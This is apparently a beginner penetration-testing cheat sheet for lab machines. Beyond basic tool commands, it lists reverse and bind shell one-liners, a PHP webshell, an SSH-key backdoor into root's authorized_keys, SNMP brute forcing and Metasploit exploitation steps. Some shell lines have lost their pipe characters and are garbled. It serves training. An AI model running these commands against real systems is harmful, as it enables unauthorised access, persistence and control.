

GETTING STARTED

CHEAT SHEET

Basic Tools

Command	Description
General	
<code>sudo openvpn user.ovpn</code>	Connect to VPN
<code>ifconfig/ip a</code>	Show our IP address
<code>netstat -rn</code>	Show networks accessible via the VPN
<code>ssh user@10.10.10.10</code>	SSH to a remote server
<code>ftp 10.129.42.253</code>	FTP to a remote server
tmux	
<code>tmux</code>	Start tmux
<code>ctrl+b</code>	tmux: default prefix
<code>prefix c</code>	tmux: new window
<code>prefix 1</code>	tmux: switch to window (1)
<code>prefix shift+%</code>	tmux: split pane vertically
<code>prefix shift+"</code>	tmux: split pane horizontally

Command	Description
<code>prefix -></code>	tmux: switch to the right pane
Vim	
<code>vim file</code>	vim: open file with vim
<code>esc+i</code>	vim: enter insert mode
<code>esc</code>	vim: back to normal mode
<code>x</code>	vim: Cut character
<code>dw</code>	vim: Cut word
<code>dd</code>	vim: Cut full line
<code>yw</code>	vim: Copy word
<code>yy</code>	vim: Copy full line
<code>p</code>	vim: Paste
<code>:1</code>	vim: Go to line number 1.
<code>:w</code>	vim: Write the file 'i.e. save'
<code>:q</code>	vim: Quit
<code>:q!</code>	vim: Quit without saving
<code>:wq</code>	vim: Write and quit

Pentesting

Command	Description
Service Scanning	

Command	Description
<code>nmap 10.129.42.253</code>	Run nmap on an IP
<code>nmap -sV -sC -p- 10.129.42.253</code>	Run an nmap script scan on an IP
<code>locate scripts/citrix</code>	List various available nmap scripts
<code>nmap --script smb-os-discovery.nse -p445 10.10.10.40</code>	Run an nmap script on an IP
<code>netcat 10.10.10.10 22</code>	Grab banner of an open port
<code>smbclient -N -L \\10.129.42.253</code>	List SMB Shares
<code>smbclient \\10.129.42.253\users</code>	Connect to an SMB share
<code>snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0</code>	Scan SNMP on an IP
<code>onesixtyone -c dict.txt 10.129.42.254</code>	Brute force SNMP secret string
Web Enumeration	
<code>gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt</code>	Run a directory scan on a website
<code>gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt</code>	Run a sub-domain scan on a website
<code>curl -IL https://www.inlanefreight.com</code>	Grab website banner
<code>whatweb 10.10.10.121</code>	List details about the webserver/certificates
<code>curl 10.10.10.121/robots.txt</code>	List potential directories in robots.txt
<code>ctrl+U</code>	View page source (in Firefox)

Public Exploits

Command	Description
<code>searchsploit openssh 7.2</code>	Search for public exploits for a web application
<code>msfconsole</code>	MSF: Start the Metasploit Framework
<code>search exploit eternalblue</code>	MSF: Search for public exploits in MSF
<code>use exploit/windows/smb/ms17_010_psexec</code>	MSF: Start using an MSF module
<code>show options</code>	MSF: Show required options for an MSF module
<code>set RHOSTS 10.10.10.40</code>	MSF: Set a value for an MSF module option
<code>check</code>	MSF: Test if the target server is vulnerable
<code>exploit</code>	MSF: Run the exploit on the target server is vulnerable
Using Shells	
<code>nc -lvp 1234</code>	Start a <code>nc</code> listener on a local port
<code>bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'</code>	Send a reverse shell from the remote server
<code>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f bin/sh -i 2>&1 nc 10.10.10.10 1234 >/tmp/f</code>	Another command to send a reverse shell from the remote server
<code>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f bin/bash -i 2>&1 nc -lvp 1234 >/tmp/f</code>	Start a bind shell on the remote server
<code>nc 10.10.10.1 1234</code>	Connect to a bind shell started on the remote server

Command	Description
<code>python -c 'import pty; pty.spawn("/bin/bash")'</code>	Upgrade shell TTY (1)
<code>ctrl+z</code> then <code>stty raw -echo</code> then <code>fg</code> then <code>enter</code> twice	Upgrade shell TTY (2)
<code>echo "<?php system(\\$_GET['cmd']);?>" > /var/www/html/shell.php</code>	Create a webshell php file
<code>curl http://SERVER_IP:PORT/shell.php?cmd=id</code>	Execute a command on an uploaded webshell
Privilege Escalation	
<code>./linpeas.sh</code>	Run <code>linpeas</code> script to enumerate remote server
<code>sudo -l</code>	List available <code>sudo</code> privileges
<code>sudo -u user /bin/echo Hello World!</code>	Run a command with <code>sudo</code>
<code>sudo su -</code>	Switch to root user (if we have access to <code>sudo su</code>)
<code>sudo su user -</code>	Switch to a user (if we have access to <code>sudo su</code>)
<code>ssh-keygen -f key</code>	Create a new SSH key
<code>echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys</code>	Add the generated public key to the user
<code>ssh root@10.10.10.10 -i key</code>	SSH to the server with the generated private key
Transferring Files	
<code>python3 -m http.server 8000</code>	Start a local webserver
<code>wget http://10.10.14.1:8000/linpeas.sh</code>	Download a file on the remote server from our local machine

Command	Description
<pre>curl http://10.10.14.1:8000/linenum.sh -o linenum.sh</pre>	Download a file on the remote server from our local machine
<pre>scp linenum.sh user@remotehost:/tmp/linenum.sh</pre>	Transfer a file to the remote server with scp (requires SSH access)
<pre>base64 shell -w 0</pre>	Convert a file to base64
<pre>echo f0VMR...SNI0...InmDwU base64 -d > shell</pre>	Convert a file from base64 back to its orig
<pre>md5sum shell</pre>	Check the file's md5sum to ensure it converted correctly